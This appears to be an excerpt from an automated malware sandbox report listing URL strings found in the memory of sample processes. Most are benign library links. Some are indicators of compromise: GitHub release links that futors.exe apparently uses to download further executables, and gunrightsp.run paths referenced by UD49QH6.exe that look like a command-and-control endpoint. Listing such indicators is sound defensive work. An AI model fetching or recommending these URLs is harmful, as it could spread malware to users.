Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: futors.exe, 0000000F.00000003.1632617370.000000000150B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: futors.exe, 0000000F.00000003.1811877759.0000000003F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Milidmdds/45rgffdgd/releases/download/fdgdf/crypted.7.exe
Source: trano1221.exe, 0000002A.00000003.1807134122.000001E16BC19000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880210684.000001E16BC1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: powershell.exe, 0000001D.00000002.4028270818.000001D88022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: trano1221.exe, 0000002A.00000003.1811281205.000001E169697000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1836271125.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1924598134.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1888194813.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1629342002.000001E169689000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891421330.000001E16969D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1939610283.000001E16B2B4000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815054639.000001E16969B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1627401291.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/astral-sh/ruff
Source: futors.exe, 0000000F.00000003.1963918863.0000000003F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/bbbdfbfdb/releases/download/bbbbbbfff/mrwipre12.exeJ
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/rel
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/relH
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exe
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exe1
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exe1pE:
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exee1
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exee163
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exee1638nD
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/dfsfsdfsd/releases/download/dsfsdfdfsfsd/cronikxqqq.exeh
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exe
Source: futors.exe, 0000000F.00000003.1404032504.000000000157F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exe2
Source: futors.exe, 0000000F.00000003.1632617370.000000000150B000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exee
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exefe3f6-b
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exefe3f6748f0f227
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exefe3f67nb
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/legendary99999/gdsgdsggds/releases/download/dsffdsdfs/trano1221.exefe3f8b
Source: trano1221.exe, 00000023.00000003.1608803599.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1608559838.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1613878589.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1614097963.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1613878589.0000013C2C402000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1582872658.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1973720785.00007FF98B765000.00000004.00000001.01000000.0000003A.sdmp, trano1221.exe, 0000002A.00000002.1974119123.00007FF98B799000.00000004.00000001.01000000.00000038.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: trano1221.exe, 0000002A.00000002.1949395926.000001E16BD20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: trano1221.exe, 0000002A.00000002.1950520854.000001E16C45C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-pillow/Pillow/
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AEE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: trano1221.exe, 0000002A.00000003.1627401291.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: trano1221.exe, 0000002A.00000003.1811281205.000001E169697000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1836271125.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1924598134.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1888194813.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1629342002.000001E169689000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891421330.000001E16969D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1939610283.000001E16B2B4000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815054639.000001E16969B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1627401291.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: trano1221.exe, 0000002A.00000003.1832765232.000001E16B2EC000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1657678255.000001E16B960000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1940534889.000001E16B33C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817006737.000001E16B2E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/issues
Source: trano1221.exe, 0000002A.00000003.1811281205.000001E169697000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1836271125.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1924598134.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1888194813.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1629342002.000001E169689000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891421330.000001E16969D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1939610283.000001E16B2B4000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815054639.000001E16969B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1627401291.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882675982.000001E16BAB0000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1858813276.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1863172789.000001E16B56F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880210684.000001E16BC1A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883906457.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880906094.000001E16B582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1942810073.000001E16B58C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1822487423.000001E16B586000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946483979.000001E16BAEA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880906094.000001E16B58C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883906457.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: trano1221.exe, 0000002A.00000003.1832271041.000001E16B61B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: UD49QH6.exe, 00000010.00000003.5078356884.000000000139A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1466867227.0000000001393000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1507260993.000000000139A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1491760052.000000000139A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1417238243.0000000001324000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1481800211.000000000139A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1417238243.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run/
Source: UD49QH6.exe, 00000010.00000003.1508423546.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.5078356884.000000000139A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1507260993.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1481800211.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1491760052.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2080300600.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.5078654939.000000000133B000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1466867227.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079265890.0000000001338000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1508155790.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1417138519.0000000001339000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run/bksaHyg
Source: UD49QH6.exe, 00000010.00000003.1508423546.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run/bksaHyg0
Source: UD49QH6.exe, 00000010.00000003.1507260993.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1481800211.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1491760052.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2080300600.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1466867227.00000000013A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run/bksaHygAzw8
Source: UD49QH6.exe, 00000010.00000003.1508423546.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1463213398.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run/bksaHygu
Source: UD49QH6.exe, 00000010.00000003.2079965638.0000000005C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run:443/bksaHyg2
Source: UD49QH6.exe, 00000010.00000003.1463213398.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gunrightsp.run:443/bksaHygicrosoft
Source: trano1221.exe, 0000002A.00000003.1815421865.000001E16BBCE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832831955.000001E16BBE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: trano1221.exe, 0000002A.00000003.1880906094.000001E16B582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/badge/skeleton-2024-informational
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/charliermarsh/ruff/main/assets
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/importlib_metadata.svg
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
Source: trano1221.exe, 0000002A.00000002.1949395926.000001E16BD20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: trano1221.exe, 0000002A.00000003.1815421865.000001E16BBCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: trano1221.exe, 0000002A.00000003.1894885445.000001E16BC08000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813822027.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1831036072.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1871438491.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1881267013.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882569817.000001E16BC07000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815421865.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882379108.000001E16BBFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: powershell.exe, 00000019.00000002.1600308325.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: futors.exe, 0000000F.00000003.1400745031.0000000001543000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1553741184.0000000001547000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/
Source: futors.exe, 0000000F.00000003.1400745031.0000000001543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/f%
Source: futors.exe, 0000000F.00000003.1811877759.0000000003F80000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1811811339.0000000003F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/925133393/acb1529f-d07e
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/931090743/fe2351f3-d512
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/942997733/91e9cb20-bc50
Source: futors.exe, 0000000F.00000003.1948303472.0000000003F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/948814638/06c7ea24-3162
Source: futors.exe, 0000000F.00000003.1963918863.0000000003F87000.00000004.00000020.00020000.00000000.sdmp, futors.exe, 0000000F.00000003.1963918863.0000000003F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/949262026/4eb1afe7-d182
Source: futors.exe, 0000000F.00000003.1400745031.0000000001543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/nZT
Source: trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/pyproject-toml/#declaring-project-metadata-the
Source: trano1221.exe, 0000002A.00000002.1941681244.000001E16B3E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: trano1221.exe, 0000002A.00000002.2006486368.00007FF98E76B000.00000040.00000001.01000000.0000001C.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/cryptography/
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/importlib_metadata
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/importlib-metadata/badge/?version=latest
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: trano1221.exe, 0000002A.00000003.1638675310.000001E16B605000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1643633653.000001E16B620000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1642098430.000001E16B61D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1693368884.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1698853025.000001E16B52A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1822487423.000001E16B586000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1646562116.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1639883128.000001E16B5B3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1656139769.000001E16B567000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1638675310.000001E16B605000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1643633653.000001E16B620000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1658799975.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1672685606.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1642098430.000001E16B61D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
